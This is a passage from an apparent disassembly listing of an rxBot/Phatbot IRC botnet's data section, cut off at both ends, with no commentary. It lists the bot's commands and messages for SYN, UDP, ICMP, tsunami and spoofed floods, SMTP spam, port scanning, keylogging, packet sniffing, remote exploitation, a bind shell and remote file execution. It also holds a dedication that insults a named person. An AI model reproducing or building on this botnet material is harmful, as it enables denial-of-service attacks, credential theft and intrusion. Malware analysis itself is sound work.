74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42A7C4 db 2Dh ; - ; DATA XREF: sub_401ACD+5623o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 unk_42A7FC db 2Dh ; - ; DATA XREF: sub_401ACD+5581o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o align 10h unk_42A850 db 2Dh ; - ; DATA XREF: sub_401ACD+554Fo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A888 db 2Dh ; - ; DATA XREF: sub_401ACD+54E0o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 10h unk_42A8D0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406EFFo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42A908 db 2Dh ; - ; DATA XREF: sub_401ACD+5428o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42A940 db 2Dh ; - ; DATA XREF: sub_401ACD+53AEo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+539Eo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+5397o unk_42A984 db 2Dh ; - ; DATA XREF: sub_401ACD+52FCo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 10h aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+52ECo align 4 aAck db 'ack',0 ; DATA XREF: sub_401ACD+52D5o aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+525Fo align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+524Co unk_42A9CC db 2Dh ; - ; DATA XREF: sub_401ACD+51FDo db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 10h aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+5189o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401ACD+509Eo align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+5087o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+5070o align 4 aP: ; DATA XREF: sub_401ACD+5059o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+5042o align 10h aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+502Bo align 4 aNs db 'ns',0 ; DATA XREF: sub_401ACD+5014o align 10h aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4FFDo aU: ; DATA XREF: sub_401ACD+4FE6o ; ___:00437F88o unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4FCFo aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4FB8o align 4 aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4F8Ao aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4F73o aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4F5Co align 4 aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4F36o aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4F1Fo align 4 aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4F08o align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4EF1o align 4 aSc db 'sc',0 ; DATA XREF: sub_401ACD+4EDAo align 4 aScan db 'scan',0 ; DATA XREF: sub_401ACD+4EC3o align 4 aRd db 'rd',0 ; DATA XREF: sub_401ACD+4EACo align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4E95o align 4 aJpl10 db 'jpl10',0 ; DATA XREF: sub_401ACD+4E7Eo align 4 aJpldg10 db 'jpldg10',0 ; DATA XREF: sub_401ACD+4E67o aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4E50o align 4 aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4E39o align 4 dword_42AB08 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4E2Co aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42AB44 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4DBDo aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4D3Ao align 4 aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4D23o ; sub_401ACD+52BDo aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4D0Co align 4 unk_42AB8C db 2Dh ; - ; DATA XREF: sub_401ACD+4CFFo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0 align 4 aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4C28o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4C11o ; sub_412B08:loc_412C34o aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4BFAo ; sub_412B08:loc_412C18o align 10h aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4BE3o ; sub_412B08+F1o align 4 aC: ; DATA XREF: sub_401ACD+4BCCo ; ___:00437C40o ... unicode 0, <c>,0 aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4BB5o align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4B8Co align 10h aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4B75o align 4 aMv db 'mv',0 ; DATA XREF: sub_401ACD+4B5Eo align 10h aRename db 'rename',0 ; DATA XREF: sub_401ACD+4B47o align 4 aFf db 'ff',0 ; DATA XREF: sub_401ACD+4B30o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+4B19o align 4 aE: ; DATA XREF: sub_401ACD+4B02o unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401ACD+4AEBo aJp10 db 'jp]10',0 ; DATA XREF: sub_401ACD+4AD4o align 4 aJpDe100 db 'jp]de100',0 ; DATA XREF: sub_401ACD+4ABDo align 4 aDe db 'de',0 ; DATA XREF: sub_401ACD+4AA6o align 4 aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4A8Fo align 4 aRp db 'rp',0 ; DATA XREF: sub_401ACD+4A78o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4A61o ; sub_401ACD+6BE7o align 10h aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4A4Ao aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+4A33o aT3 db 't3',0 ; DATA XREF: sub_401ACD+4A1Co align 10h aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+4A05o align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+49EEo aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+49D7o align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+49C0o aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+49A9o align 10h aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+4992o aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+497Bo align 4 aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+4964o aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+494Do align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+4936o aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+491Fo align 4 aM: ; DATA XREF: sub_401ACD+4908o ; ___:00437C50o unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401ACD+48DAo align 4 aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+48C3o align 4 aA: ; DATA XREF: sub_401ACD+48ACo unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401ACD+4895o align 10h aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+4867o aAa db 'aa',0 ; DATA XREF: sub_401ACD+4850o align 4 aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4839o align 4 aKl db 'kl',0 ; DATA XREF: sub_401ACD+4822o align 4 aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+480Bo aGh db 'gh',0 ; DATA XREF: sub_401ACD+47E2o align 4 aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+47CDo aCap db 'cap',0 ; DATA XREF: sub_401ACD+47B8o aCapture db 'capture',0 ; DATA XREF: sub_401ACD+47A3o unk_42AD1C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406265o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42AD38 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40625Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_401ACD+475Eo ; sub_409B12+5F0o align 4 unk_42AD64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40621Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42AD84 db 2Dh ; - ; DATA XREF: sub_401ACD+4747o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 aUser db 'user',0 ; DATA XREF: sub_401ACD+46D3o align 4 unk_42ADAC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406193o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42ADCC db 2Dh ; - ; DATA XREF: sub_401ACD+46BCo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 10h aShare db 'share',0 ; DATA XREF: sub_401ACD+466Eo align 4 aContinue db 'continue',0 ; DATA XREF: sub_401ACD+462Ao align 4 aPause db 'pause',0 ; DATA XREF: sub_401ACD+4610o align 4 aStop db 'stop',0 ; DATA XREF: sub_401ACD+45F6o align 4 unk_42AE14 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4060B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42AE34 db 2Dh ; - ; DATA XREF: sub_401ACD+45DFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 4 aStart db 'start',0 ; DATA XREF: sub_401ACD+45A9o align 10h unk_42AE60 db 2Dh ; - ; DATA XREF: sub_401ACD+4577o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401ACD+4553o dword_42AE9C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4548o aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0 align 4 dword_42AED8 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+44D9o aKeyLoggerActiv db '- Key logger active.',0 align 4 dword_42AEFC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4457o aAlreadyRunning db '- Already running.',0 align 4 dword_42AF1C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD:loc_405F0Eo aNoKeyLoggerThr db '- No key logger thread found.',0 align 4 dword_42AF48 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4437o aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0 align 4 aFile db 'file',0 ; DATA XREF: sub_401ACD+43F8o align 4 aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+43D6o align 4 dword_42AF94 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405E98o aNoThreadFound_ db '- No thread found.',0 align 4 dword_42AFB4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43C1o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_42AFEC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4391o aFailedToSta_16 db '- Failed to start server, error: <%d>.',0 align 10h dword_42B020 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4344o aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_42B04C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4334o aAlreadyRunni_0 db '- Already running.',0 align 4 aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4301o align 4 unk_42B074 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DC3o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0 unk_42B0A4 db 2Dh ; - ; DATA XREF: sub_401ACD+42ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0 unk_42B0E4 db 2Dh ; - ; DATA XREF: sub_401ACD+42BCo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42B120 db 2Dh ; - ; DATA XREF: sub_401ACD+424Do db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotPacketS db '- Phatbot packet sniffer active.',0 align 10h unk_42B150 db 2Dh ; - ; DATA XREF: sub_401ACD+41E6o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_1 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41AFo dword_42B178 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C71o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B1A4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+419Ao aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 10h dword_42B1E0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+416Ao aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 dword_42B21C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40FBo aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_42B24C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4094o aAlreadyRunni_2 db '- Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_401ACD+4074o ; sub_401ACD+41C6o ... align 10h aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+405Do align 4 aRf db 'rf',0 ; DATA XREF: sub_401ACD+4048o align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4033o align 4 aCm db 'cm',0 ; DATA XREF: sub_401ACD+401Eo align 4 aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4009o aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+3FF4o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FDFo aV: ; DATA XREF: sub_401ACD+3FCAo ; ___:00437C44o ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FB5o align 4 aLi db 'li',0 ; DATA XREF: sub_401ACD+3FA0o align 10h aList db 'list',0 ; DATA XREF: sub_401ACD+3F8Bo align 4 aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F76o align 4 aDel db 'del',0 ; DATA XREF: sub_401ACD+3F4Co aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F37o ; sub_401ACD+4644o align 4 aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F22o align 4 aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F0Do align 4 aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EF8o align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE3o align 4 aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ECEo align 4 aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA4o align 10h aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Fo align 4 aO: ; DATA XREF: sub_401ACD+3E7Ao unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E65o ; sub_401ACD+590Bo ... align 4 aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E50o align 4 aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E3Bo align 10h aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E26o align 4 aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E11o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DFCo aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DE7o align 10h aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DBDo align 4 aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D93o aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D7Eo align 4 aJ: ; DATA XREF: sub_401ACD+3D54o ; ___:00437C2Co unicode 0, <j>,0 aN: ; DATA XREF: sub_401ACD+3D2Ao ; ___:00437C4Co unicode 0, <n>,0 unk_42B34C db 2Dh ; - ; DATA XREF: sub_401ACD+3CF6o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C69o align 4 aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3C10o align 4 aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B43o dword_42B3AC dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401ACD+3AEFo ; sub_401ACD+3B26o dd 0 dword_42B3C4 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401ACD+3AB8o dd 1 dword_42B3DC dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401ACD+3A81o ; sub_401ACD+3B98o aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+3A2Co align 4 aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3997o ; sub_401ACD+39D3o ... align 4 aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+393Do align 10h aMsg db 'msg',0 ; DATA XREF: sub_401ACD+384Eo aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+3807o aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+3705o ; sub_401ACD+3D15o align 4 dword_42B424 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401ACD+36E8o dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42B44C dd 636364h ; DATA XREF: sub_401ACD+366Bo dword_42B450 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo dword_42B45C dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+3501o ; sub_401ACD+3762o ... dword_42B464 dd 69257325h, 0 ; DATA XREF: sub_401ACD+34E6o ; sub_40ACB5+4Fo ... aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+34A5o align 4 aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3488o ; sub_401ACD+3578o ... align 10h aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+3461o align 4 aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+3444o aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+3422o ; sub_401ACD+3D69o align 4 aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+3405o ; sub_401ACD+354Co ... aJoin db 'join',0 ; DATA XREF: sub_401ACD+33E3o ; sub_401ACD+3D3Fo align 4 aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+33C6o align 4 aMode db 'mode',0 ; DATA XREF: sub_401ACD+3377o ; sub_401ACD+48F1o align 10h aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+335Ao align 10h aNt db 'nt',0 ; DATA XREF: sub_401ACD+330Bo align 4 dword_42B4D4 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401ACD+32EEo dword_42B4E8 dd 7463h ; DATA XREF: sub_401ACD+329Fo dword_42B4EC dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o ; sub_401ACD+38A8o ... dword_42B4FC dd 5Fh ; DATA XREF: sub_401ACD+3253o ; sub_401ACD+32BFo ... dword_42B500 dd 6D70h ; DATA XREF: sub_401ACD+3233o ; sub_401ACD+487Eo unk_42B504 db 2Dh ; - ; DATA XREF: sub_401ACD+3201o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aSClonesLoadedT db '- %s clones loaded to %s:%s',0 align 10h aLoad db 'load',0 ; DATA XREF: sub_401ACD+31AAo align 4 aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3181o align 10h aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+316Ao align 4 aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3155o aRin db 'rin',0 ; DATA XREF: sub_401ACD+3140o aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+312Bo align 4 unk_42B56C db 2Dh ; - ; DATA XREF: sub_401ACD+3120o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 unk_42B5AC db 2Dh ; - ; DATA XREF: sub_401ACD+30AEo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+3028o unk_42B5E4 db 2Dh ; - ; DATA XREF: sub_401ACD+300Eo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 10h unk_42B610 db 2Dh ; - ; DATA XREF: sub_401ACD+2FF0o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2FCCo align 10h unk_42B650 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_404A40o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_404A22o ; sub_401ACD+3F61o unk_42B68C db 2Dh ; - ; DATA XREF: sub_401ACD+2EDAo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 unk_42B6B8 db 2Dh ; - ; DATA XREF: sub_401ACD+2ED2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 4 dword_42B6E4 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401ACD+2E7Do unk_42B6F4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40493Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 4 dword_42B7A4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E4Bo aFailedToSta_19 db '- Failed to start secure thread, error: <%d>.',0 align 10h dword_42B7E0 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401ACD+2DD1o dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2DCBo align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2DC4o align 4 unk_42B814 db 2Dh ; - ; DATA XREF: sub_401ACD+2D4Do db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_20 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42B854 db 2Dh ; - ; DATA XREF: sub_401ACD+2CC9o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 10h dword_42B880 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C47o aFailedToSta_21 db '- Failed to start server thread, error: <%d>.',0 align 4 dword_42B8BC dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2BD8o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42B8E4 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2B25o dword_42B8F4 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o dword_42B900 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do dword_42B910 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2B08o dword_42B920 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_401ACD+2A95o dd 676E6974h, 2Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o ; sub_401ACD:loc_409778o ... align 4 dword_42B954 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_401ACD+2A73o dd 6E697463h, 2E67h aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do ; sub_401ACD+7A7Eo align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo align 4 unk_42B9A4 db 2Dh ; - ; DATA XREF: sub_401ACD+2A17o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 10h dword_42B9D0 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h ; DATA XREF: sub_401ACD+29D8o dd 2E7325h unk_42B9E8 db 2Dh ; - ; DATA XREF: sub_401ACD+29C9o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_22 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42BA24 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401ACD+295Ao dd 65726874h, 2E736461h, 0 dword_42BA44 dd 627573h ; DATA XREF: sub_401ACD+2934o dword_42BA48 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: sub_401ACD+28E2o dd 2E7473h unk_42BA60 db 2Dh ; - ; DATA XREF: sub_401ACD+28C7o db 3, 